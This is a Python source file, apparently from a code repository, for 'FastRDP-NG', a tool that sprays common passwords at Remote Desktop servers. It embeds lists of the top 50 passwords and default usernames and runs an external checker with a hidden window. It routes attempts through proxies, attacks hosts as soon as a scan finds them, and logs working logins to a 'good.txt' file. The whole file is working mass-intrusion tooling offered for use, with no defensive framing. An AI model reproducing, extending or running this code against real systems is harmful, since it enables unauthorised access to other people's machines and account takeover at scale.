253 lines
8.2 KiB
Python
253 lines
8.2 KiB
Python
"""
|
|
FastRDP-NG: RDP Password Sprayer.
|
|
Tries top common passwords against live RDP hosts using subprocess.
|
|
Supports optional proxy routing via ProxyManager.
|
|
"""
|
|
|
|
import asyncio
|
|
import logging
|
|
import os
|
|
import subprocess
|
|
import time
|
|
from typing import List, Tuple, Set, Optional
|
|
|
|
logger = logging.getLogger("FastRDP-NG")
|
|
|
|
# Top 50 most common RDP passwords (by frequency in breaches)
|
|
TOP50_PASSWORDS = [
|
|
"admin", "Admin", "password", "Password", "123456",
|
|
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
|
|
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
|
|
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
|
|
"123456789", "1234567890", "letmein", "welcome", "monkey",
|
|
"dragon", "master", "login", "abc123", "test",
|
|
"test123", "pass", "Pass", "P@ss", "qwerty123",
|
|
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
|
|
"sunshine", "princess", "football", "baseball", "welcome1",
|
|
"admin123", "Admin123", "password!", "password.", "password00",
|
|
]
|
|
|
|
# Top usernames for RDP
|
|
TOP_USERNAMES = [
|
|
"Administrator", "Admin", "admin", "administrator",
|
|
"User", "user", "GuestUser", "Guest", "root",
|
|
]
|
|
|
|
|
|
async def spray_password(
|
|
ip: str,
|
|
port: int,
|
|
username: str,
|
|
password: str,
|
|
timeout: float = 5.0,
|
|
proxy_manager=None,
|
|
) -> Tuple[str, int, str, str, bool]:
|
|
"""
|
|
Try a single credential pair against an RDP host.
|
|
Supports optional proxy routing via proxy_manager.
|
|
|
|
Attempts to find rdpthread.exe in common locations, then
|
|
falls back to RDP banner detection (connectivity check only).
|
|
|
|
Returns (ip, port, username, password, success).
|
|
"""
|
|
# Try to locate rdpthread.exe in likely locations
|
|
base = os.path.dirname(os.path.abspath(__file__))
|
|
search_paths = [
|
|
os.path.join(base, "rdpthread.exe"),
|
|
os.path.join(base, "..", "rdpthread.exe"),
|
|
os.path.join(base, "bin", "rdpthread.exe"),
|
|
]
|
|
rdpthread_path = None
|
|
for p in search_paths:
|
|
if os.path.exists(p):
|
|
rdpthread_path = p
|
|
break
|
|
|
|
if rdpthread_path:
|
|
try:
|
|
result = subprocess.run(
|
|
[rdpthread_path, ip, str(port), username, password],
|
|
capture_output=True,
|
|
timeout=timeout,
|
|
creationflags=subprocess.CREATE_NO_WINDOW
|
|
)
|
|
output = result.stdout.decode('utf-8', errors='ignore').lower()
|
|
success = (
|
|
"success" in output or
|
|
"connected" in output or
|
|
"authenticated" in output or
|
|
result.returncode == 0
|
|
)
|
|
return (ip, port, username, password, success)
|
|
except (FileNotFoundError, subprocess.TimeoutExpired,
|
|
subprocess.CalledProcessError, OSError):
|
|
pass
|
|
|
|
# Fallback: RDP banner check (confirms RDP service is running)
|
|
# When proxy is enabled, route through proxy
|
|
open_conn = asyncio.open_connection
|
|
if proxy_manager and proxy_manager.enabled:
|
|
open_conn = proxy_manager.open_connection
|
|
|
|
try:
|
|
reader, writer = await asyncio.wait_for(
|
|
open_conn(ip, port),
|
|
timeout=2.0
|
|
)
|
|
try:
|
|
data = await asyncio.wait_for(
|
|
reader.read(4),
|
|
timeout=1.0
|
|
)
|
|
writer.close()
|
|
await writer.wait_closed()
|
|
# TPKT header (0x03) indicates RDP protocol response
|
|
if len(data) >= 2 and data[0] == 0x03:
|
|
return (ip, port, username, password, False)
|
|
except (asyncio.TimeoutError, ConnectionError):
|
|
pass
|
|
writer.close()
|
|
await writer.wait_closed()
|
|
return (ip, port, username, password, False)
|
|
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
|
|
return (ip, port, username, password, False)
|
|
|
|
|
|
async def spray_all_hosts(
|
|
live_hosts: Set[Tuple[str, int]],
|
|
usernames: List[str] = None, # type: ignore
|
|
passwords: List[str] = None, # type: ignore
|
|
max_concurrent: int = 100,
|
|
timeout: float = 5.0,
|
|
progress_callback=None,
|
|
proxy_manager=None,
|
|
) -> List[Tuple[str, int, str, str]]:
|
|
"""
|
|
Spray top passwords across all live hosts.
|
|
Tries 1 password per host, then moves to next password.
|
|
This avoids account lockouts and finds weak passwords fast.
|
|
Supports optional proxy routing.
|
|
|
|
Returns list of (ip, port, username, password) successful hits.
|
|
"""
|
|
if usernames is None:
|
|
usernames = TOP_USERNAMES
|
|
if passwords is None:
|
|
passwords = TOP50_PASSWORDS
|
|
|
|
sem = asyncio.Semaphore(max_concurrent)
|
|
hits = []
|
|
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
|
|
attempts = 0
|
|
start_time = time.time()
|
|
|
|
async def try_combo(ip: str, port: int, user: str, pwd: str):
|
|
nonlocal attempts
|
|
async with sem:
|
|
_, _, u, p, success = await spray_password(
|
|
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
|
|
)
|
|
attempts += 1
|
|
if success:
|
|
hits.append((ip, port, u, p))
|
|
if progress_callback and attempts % 100 == 0:
|
|
elapsed = time.time() - start_time
|
|
rate = attempts / elapsed if elapsed > 0 else 0
|
|
progress_callback(attempts, total_attempts, len(hits), rate)
|
|
return success
|
|
|
|
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
|
|
|
|
# Spray strategy: for each password, try it against ALL hosts first
|
|
# This is the "password spraying" approach - avoids lockouts
|
|
tasks = []
|
|
for password in passwords:
|
|
for ip, port in live_hosts:
|
|
for username in usernames:
|
|
tasks.append(asyncio.create_task(
|
|
try_combo(ip, port, username, password)
|
|
))
|
|
|
|
# Execute this password batch before moving to next password
|
|
if tasks:
|
|
await asyncio.gather(*tasks, return_exceptions=True)
|
|
if hits:
|
|
_write_hits(hits)
|
|
tasks = []
|
|
|
|
elapsed = time.time() - start_time
|
|
rate = attempts / elapsed if elapsed > 0 else 0
|
|
logger.info(
|
|
f"Spray complete: {len(hits)} hits from {attempts} attempts "
|
|
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
|
|
)
|
|
|
|
return hits
|
|
|
|
|
|
async def spray_single_host(
|
|
ip: str,
|
|
port: int,
|
|
usernames: List[str] = None,
|
|
passwords: List[str] = None,
|
|
max_concurrent: int = 50,
|
|
timeout: float = 5.0,
|
|
hit_callback=None,
|
|
proxy_manager=None,
|
|
) -> List[Tuple[str, int, str, str]]:
|
|
"""
|
|
Spray ALL passwords against a SINGLE host immediately.
|
|
Called as soon as a host is discovered — no need to wait for full scan.
|
|
Supports optional proxy routing.
|
|
|
|
hit_callback(ip, port, user, password): called on each successful hit.
|
|
Returns list of (ip, port, username, password) hits.
|
|
"""
|
|
if usernames is None:
|
|
usernames = TOP_USERNAMES
|
|
if passwords is None:
|
|
passwords = TOP50_PASSWORDS
|
|
|
|
sem = asyncio.Semaphore(max_concurrent)
|
|
hits: List[Tuple[str, int, str, str]] = []
|
|
|
|
async def try_combo(user: str, pwd: str):
|
|
async with sem:
|
|
_, _, u, p, success = await spray_password(
|
|
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
|
|
)
|
|
if success:
|
|
hits.append((ip, port, u, p))
|
|
if hit_callback:
|
|
hit_callback(ip, port, u, p)
|
|
|
|
# Fire all tasks
|
|
tasks = []
|
|
for user in usernames:
|
|
for pwd in passwords:
|
|
tasks.append(asyncio.create_task(try_combo(user, pwd)))
|
|
|
|
if tasks:
|
|
await asyncio.gather(*tasks, return_exceptions=True)
|
|
|
|
if hits:
|
|
_write_hits(hits)
|
|
|
|
return hits
|
|
|
|
|
|
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
|
"""Write successful hits to results file immediately."""
|
|
import os
|
|
output_path = os.path.join(
|
|
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
|
|
"results", "good.txt"
|
|
)
|
|
os.makedirs(os.path.dirname(output_path), exist_ok=True)
|
|
with open(output_path, 'a') as f:
|
|
for ip, port, user, pwd in hits:
|
|
line = f"{user}:{pwd}@{ip}:{port}\n"
|
|
f.write(line)
|
|
print(f"\n[+] HIT! {line.strip()}")
|